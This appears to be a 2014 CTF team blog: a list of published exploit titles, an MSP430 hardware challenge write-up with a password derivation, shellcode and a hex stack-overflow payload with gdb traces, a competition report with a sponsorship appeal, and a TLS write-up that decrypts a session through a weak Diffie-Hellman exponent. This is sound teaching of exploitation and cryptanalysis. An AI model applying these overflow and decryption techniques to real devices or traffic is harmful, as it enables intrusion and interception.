Tuesday, March 25, 2014

Exploits for recent pwning CTF tasks published

During the run time of any jeopardy CTF, I (j00ru) am always looking for pwning tasks to solve, due to my obvious interest in low-level vulnerability hunting and exploitation techniques. As a result, I usually end up allocating many of the tasks related to native software security to myself; on the other hand, I rarely have the time to create detailed write-ups on how the challenges are solved. In order to avoid a situation where all of my exploits only consume disk space but are never useful to anyone but me for as long as the CTF runs, I decided to publish some of them (recent ones that I was able to easily locate) in their raw form, without commentary other than the comments in Python code. While not very interesting to those who would like to enjoy a nice, technical afternoon read, I still believe the exploits might be of some use to those who tried but didn't manage to complete the tasks or players looking for different methods and techniques to include in their hacking arsenal.

Without further ado, the exploits are as follows:

Hack.lu CTF (2013)

Brezelparadisebackmaschine (Exploitation 500)

30C3 CTF (2013)

cwitscher (Exploitation 350)

Ghost in the Shellcode (2014)

gitsmsg (Exploitation 299)
Byte Sexual (Exploitation 600, with gynvael)

HackIM (2014)

Level 1 (Exploitation 100)
Level 2 (Exploitation 200)
Level 3 (Exploitation 300)
Level 4 (Exploitation 400)

Olympic CTF Sochi (2014)

echof (Exploitation 300)

Boston Key Party CTF (2014)

fruits (Exploitation 100, with redford)
jailbreak (Exploitation 400)

Insomni'hack CTF (2014)

bender (Exploitation 400)
domowars (Exploitation 600, with mak)


Monday, March 24, 2014

Insomni'hack CTF 2014 - Life is even harder (Hardware, 400 points + 600 point bonus)

Continuing the trend of Hardware-related tasks on recent CTFs (<3 you, RuCTF!), the Insomni'hack 2014 organizers prepared a very nice microcontroller keygenme/pwn task named “Life is even harder”. Since I (q3k) really enjoy challenges on weird and obscure platforms, this was the perfect thing for me to take a look at.

The Challenge

Since the competition was on-site in Geneva (well, near Geneva - at the Palexpo centre), this allowed for the opportunity to have a real-life device to mess around with. Here is what was sitting at the NOC/conference organizer table:
MSP430 Devboard
MSP430 + Display
Wiring of MSP430, Bus Pirate & Display
The devboard is obviously a Texas Instruments MSP430 launchpad. Attached to it is a Bus Pirate used as a serial interface, and a round device of no obvious use... What could it be..?
Nicolas, the author of this challenge, explained that it is a simple display controlled by a servo. If you rotate the motor, the flag will be revealed underneath the red cover! To rotate the motor, you need to input a password via UART/Serial. Alright then, let's get cracking - this is going to be fun.

The first flag

We were also given the firmware that is uploaded onto the launchpad. As stated earlier, this is an MSP430 device. While I was semi-familiar with the architecture, I never actually had to read assembly for it before. Fortunately enough, the firmware was very small and simple. There was only a handful of functions, and they all had non-stripped symbols. Among them, a few were of interest:
  • main - seems to set up peripherals by writing into some magic memory-mapped registers
  • __isr_7 - the Interrupt Service Routing that gets fired when the device receives a character on the serial connection
  • checkpwd - seems to check the password (well, obviously)
  • moveDisplay - looking at cross-references, when called with a zero, moves the display mask into the default position. When called with a 1, reveals our flag.
Let's take a lok at the UART ISR. If you want to play along at home, read up a bit about MSP430 assembly (it's very simple and elegant) and reverse-engineer the routine yourself. Otherwise, let me present you with a pseudocode equivalent:

UART ISR, in pseudocode
Nothing too terribly interesting to see here - we just know that the password is newline-ended. Let's then take a look at the checkpwd function...

The function, after first memcpy()ing the password into the stack into 0xFFF4(SP) - 0xFFFn(SP) proceeds to do some mangling on the first 5 characters:

Password mangling function
I can identify the following things happening:
  • The 4th byte of the password is first incremented by 0x9C, then by 0xFF
  • The 1st byte of the password is XORed with 0x33
  • The 2nd byte of the password is XORed with 0x6E
  • The 3rd byte of the password is subtracted from the 5th byte of the password
  • The 5th byte of the password (after the 3rd is subtracted from it) is incremented by two (incd - increment double, a.k.a. +=2)
  • The 3rd byte of the password is XORed with 0x54
  • Some stack values get cleared.
Hm. Let's see what happens after that:

Password sum function
0xFFF0(SP) is used as a counter - loc_C17A is supposed to be ran 5 times. After a few more minutes of staring at that code, we can easily see that we are simply summing the first five bytes of the password into an accumulator at 0xFFF2(SP), which is then returned into the UART ISR. If you recall, checkpwd returns zero on success - so the first five bytes of our password after mangling should sum to zero, therefore they should all be zero.

Part of the mangling consists of XORing the bytes of the password with some magic values. In order to make the resulting bytes zero, we can just set the bytes of that password to their corresponsing magic values. This is what we get:
  • 1st byte: 0x33 ('3')
  • 2nd byte: 0x6E ('n')
  • 3rd byte: 0x54 ('T')
  • 4th byte: ?
  • 5th byte: ?
Recall that the 4th byte is first incremented by a magic value (0x9C), then 0xFF (-0x01) is added to it - and that should result in a zero. So, (BYTE + 0x9C) should be equal to 0x0101 (so that it wraps to 0x00 after adding 0xFF). Therefore, the 4th byte should be 0x65 ('e'). Well then, now we know that the password starts with '3nTe', with one last letter to figure out.

Looking back at our analysis, we now know that (0x54- BYTE) + 2 should be equal to zero - so BYTE should be equal to 0x52 ('R').

And thus, we have recovered the correct password - 3nTeR! After testing it on the real device, we got the display to move 90 degrees counter-clockwise and reveal our flag:

w00t \o/

The second flag

After solving this, we got told by Nicolas that there is still one flag to be found in this challenge - and to get it, we should make the display move around in the other direction. How can we make that happen..? Of course, the memcpy() call in checkpwd! Instead of copying only the 5 required bytes of data into the stack, it copies as many bytes as it received over the wire.

So, we have a classic stack-smashing scenario - we need to overwrite the return pointer of checkpwd() to point into our UART receive buffer (0x202), which should be filled with “shellcode” that would make the display turn the other way around. Let's first write that shellcode - how to make that display move clockwise..?

Thankfully, the moveDisplay function can be called with a different parameter - 2 - to make the servo rotate the other way around - precisely what we need!

moveDisplay and its' three possible parameters
Okay, so to make the display reveal the bonus flag we'll need to craft the following “shellcode”:

    2F43     mov #2, R15
    B012A4C1 call moveDisplay
    FF3F     loop: jmp loop

Alright, this 8-byte program will be perfect for our needs. Now, to make it run... For this part I grabbed a tool called mspdebug, which includes a built-in simulator and exposes a gdb stub to attach to. I could then run the program and simulate some inputted characters by setting a breakpoint at the end of the ISR and on the instruction where it receives the byte from the UART, and run the ISR manually by setting $PC to its' start address and making the processor run. Then, when it hit the character-reading breakpoint, I skipped this instruction and set the character manually to my liking, continuing once more and then finally hitting the breakpoint before the reti instruction of the ISR. Crude, but it allowed me to test my exploit pretty well.

Here is a sample GDB command scirpt for getting to memcpy() after inputting an “abc” password:

# Connect to the debugger
target remote localhost:2000

# Break at the memcpy() call
b *0xc118

# Break at the entrypoint
b main
# Break at the mov 0x66, R14 instruction in the ISR
b *0xc1ee
# Break at the reti instruction in the ISR
b *0xc25a

# Continue, we'll hit the main() breakpoint

## Enter character 'a'
# Run the ISR
set $pc=__isr_7
# We are now at the mov 0x66... instruction
# Skip it and set our needed char
set $r14='a'
# Continue to the end of the ISR

# Enter character 'b'
set $pc=__isr_7
set $r14='b'

# Enter character 'c'
set $pc=__isr_7
set $r14='c'

# Enter newline
set $pc=__isr_7
set $r14=0x0a

# We are now before the memcpy() call

Let's try that:

Breakpoint 2, 0x0000c118 in checkpwd ()
(gdb) x/2i $pc
=> 0xc118 <checkpwd+56>: call #0xc25c ; memcpy
   0xc11c <checkpwd+60>: mov.b -9(r4), r15 ;0xfff7(r4)

So here we are, right before the memcpy. Let's explore the stack a little:

(gdb) bt
#0  0x0000c118 in checkpwd ()
#1  0x0000c212 in USCI0RX_ISR ()
#2  0x0000c212 in USCI0RX_ISR ()
Backtrace stopped: previous frame identical to this frame (corrupt stack?)
(gdb) x/16hx $sp
0x3e2: 0xffff 0xffff 0x0000 0x0000 0x0000 0x0202 0x0005 0x0400
0x3f2: 0xc212 0xffff 0x0400 0x0000 0x0000 0x0000 0x0000 0xffff

Our stack pointer is currently set to 0x03E2, and our return pointer (to 0xC212) is at 0x3F2. Our password should be copied into 0x03E6. Let's run the memcpy() call.

(gdb) ni
Breakpoint 2, 0x0000c118 in checkpwd ()
(gdb) x/16hx $sp
0x3e2: 0xffff 0xffff 0x6261 0x0063 0x0065 0x0202 0x0005 0x0400
0x3f2: 0xc212 0xffff 0x0400 0x0000 0x0000 0x0000 0x0000 0xffff

Excellent - the password got copied as it should. Now, we can provide 12 bytes of password without overwriting the return pointer, and after that two bytes will smash the address to whatever we want. So, this is what our exploit password will look like:
  • 8 bytes of payload (the program we wrote earlier)
  • 4 bytes of whatever to fill up the space
  • 2 bytes containing 0x0202 - which is the address of our payload before memcpy()ing. We could also put 0x03E6 here, as it's the address of the payload on the stack.
  • A newline to trigger checkpwd
So, it should be, in hex, 2F43B012A4C1FF3F DEADC0DE 0202 0A. Let's try running that in our emulator:

(gdb) x/2i $pc
=> 0xc118 <checkpwd+56>: call #0xc25c
   0xc11c <checkpwd+60>: mov.b -9(r4), r15 ;0xfff7(r4)
(gdb) bt
#0  0x0000c118 in checkpwd ()
#1  0x0000c212 in USCI0RX_ISR ()
#2  0x0000c212 in USCI0RX_ISR ()
Backtrace stopped: previous frame identical to this frame (corrupt stack?)
(gdb) x/16hx $sp
0x3e2: 0xffff 0xffff 0x0000 0x0000 0x0000 0x0202 0x000e 0x0400
0x3f2: 0xc212 0xffff 0x0400 0x0000 0x0000 0x0000 0x0000 0xffff

This is before the stack smash happening. The return pointer is still set to 0xC212. Let's run the memcpy().

(gdb) ni
Breakpoint 2, 0x0000c118 in checkpwd ()
(gdb) x/16hx $sp
0x3e2: 0xffff 0xffff 0x432f 0x12b0 0xc1a4 0x3fff 0xadde 0xdec0
0x3f2: 0x0202 0xffff 0x0400 0x0000 0x0000 0x0000 0x0000 0xffff

Pwned! We overwrote the return pointer. Let's break at our shellcode and continue the debugging sesison.

(gdb) b *0x202
Breakpoint 6 at 0x202
(gdb) c
Breakpoint 6, 0x00000202 in ?? ()
(gdb) x/3i $pc
=> 0x202: mov #2, r15 ;r3 As==10
   0x204: call #0xc1a4
   0x208: jmp $+0       ;abs 0x208

And here we are, we have code execution! After running that password in the real device, we got the the display to move the other way around revealing the bonus flag, and received a round of applause from all the people nearby. Whew! What a task.
w00t w00t g0t r00t \o/

Update: Dragon Sector TOP1 at Insomni'hack 2014 in Geneva! (+we're looking for sponsors)

Last Friday we took part in an local CTF - the first offline one for Dragon Sector - Insomni'hack 2014 in Geneva, Switzerland. It was a 10 hour long jeopardy-style CTF with a separate scoreboard for teams and individuals. We managed to both survive the night (even though MSLC was trying to seriously scare us) and eventually win the competition! On another note, we are looking for sponsors.

The CTF started some time after 6 p.m. on Friday, at the Palexpo convention center next to the Geneva airport. The CTF area consisted of two wings, with all of the players split between them. At least 200 players were present, including some of the top CTFTime.org teams, such as the aforementioned MSLC, StratumAuhuur, int3pids or dcua (though it seems we were the only ones lucky enough to be able to come in full an 8-person squad).

There were 30 tasks (+ several bonus ones) in total, ranging from 50 to 600 points each, divided into the usual categories (pwn, web, stegano, crypto, re, and so on). The competition started with five tasks available (each worth 50 points) with more challenges unlocked in batches after reaching a specific point limit (150, 450, 1050 and 2250), or after a few hours passed.

Our opponents were both skilled and relentless, with the very top of the ranking being reshuffled quite frequently. Thankfully, at one point in time soon after the contest started we did manage to achieve a point advantage and keep it until the end of the event. Having said that, we were not able to solve all challenges, so the battle lasted until 4 a.m. (the official CTF closing time) with most of the top teams, including us, scoring points till the very last minute.

In addition to that, at one point MSLC started to gain a lot of points in the rankings, eventually minimizing the distance and then surpassing our score by a few hundred points. We were really freaked out by this fact, especially given that we were solving the tasks at quite a decent rate and they just skyrocketed in front of us! After some short period of time it turned out that they had found a bug in the flag submission logic and thus were able to submit each flag at least twice - in the end, they reported the bug, received well deserved bonus points and the score went back to normal. :)

Before we get to the next topic, we would like to thank the Insomni'hack organizers (especially Nicolas, Alain and Michael, as well as SCRT & 0daysober in general) for both making the CTF happen, organizing the CERN visit and dealing with the many e-mails our captain sent to them prior to the event including various questions, requests, etc. Great work guys!

Now, about the other matter.

As you may know, this year has been quite eventful as far as CTFs are concerned, including both single-tier ones and qualification rounds for various offline events. So far, we have managed to qualify to the finals of all contests we have found important, and therefore we have travelled or are planning to travel to:
  • Insomni'hack in Geneva, Switzerland - We were top-1 in the teaser round and top-1 in the finals, as you already know.
  • CODEGATE in Seoul, South Korea (next weekend) - top-7 in the qualification round.
  • PHDays finals in Moskow, Russia (May) - top-1 in the qualification round.
  • DEF CON CTF in Las Vegas, US (August) - We qualified from top-2 in Ghost in The Shellcode CTF and top-1 in Olympic CTF Sochi.
In some cases, qualifying from top positions grants partial expense coverage for the travel (the case of CODEGATE) or several hotel rooms provided by the organizers (the case of Insomni'hack). In other cases, the organizers go out of their way to help teams with their travel costs (the case of PHDays). Otherwise, and this is especially true for DEF CON CTF, the teams just have to manage on their own.

After doing the math and then recalculating the results over and over again, we came to the final conclusion that even considering our saved up winnings and personal input, we just won't be able to travel to DEF CON without external help. So...

Dragon Sector is looking for financial sponsors. At this point we are open to all options, including a one time sponsorship related to DEF CON CTF or a longer relationship. We are also open to discussion regarding various requirements and expectations which would satisfy potential sponsors.

If you would like to discuss the details, please e-mail our captain and vice-captain at gynvael@coldwind.pl and j00ru.vx@gmail.com.

For now, that's it. Keep a look out for more technical write-ups and status updates soon!

Monday, March 10, 2014

RuCTF 2014 Quals - TLS (Crypto 300)


The task consisted of a 19kB pcap file with a single complete TLS conversation between a client and an HTTPS server (using DHE_RSA), and a rather laconic description - "just break TLS". Well, since you asked…

Poking around

Shortly after opening the file in Wireshark intersting details surface. While the server looks absolutely valid, the client seems to have a rather unusal random number generator. The 0x20 byte long random nonce sent in the Client Hello message is:

0000000: 4469 4865 2031 3333 3720 3133 3337 2031  DiHe 1337 1337 1
0000010: 3333 3720 3133 3337 2031 3333 3720 3133  337 1337 1337 13

Since that looks very non-random, perhaps the client exponent is easy to figure out?
We can get the Diffie-Hellman parameters p and g from the Server Key Exchange mesage, we also have gx from the Client Key Exchange:
The first attempt - assuming the exponent to be " 1337", repeated to fill 32 bytes and shifted - was unsuccessful. The second - trying the number 1337 - worked just fine.

So now that the client's private exponent has been recovered, it's time to decrypt the session…


Wireshark comes with a built-in SSL decryption facility. What it needs is a Session ID and a Master Secret. The Session ID is (as this is a new session) sent in the Server Hello message, so we have that. We also have the client secret (1337), the generator (2), the prime and the server public key (gy). This allows us to compute gxy, the Pre-Master Secret, by simply raising the server public key to the 1337-th power, mod p.

The Master Secret is computed - according to TLS specs - as PRF(premaster_secret, "master secret", Client Random + Server Random)[0..47], the "+" being string concatenation, and PRF defined someplace else in the same RFC.

Luckily we have all of those, and there is a compliant implementation of the PRF function in the tlslite python library. Plugging in the appropriate values, the master secret is obtained:
After creating a master key logfile for Wireshark to consume, the data can be successfully decrypted:

Since RUCTF_ILoveToHackTLS was indeed the correct flag, this concludes the write-up.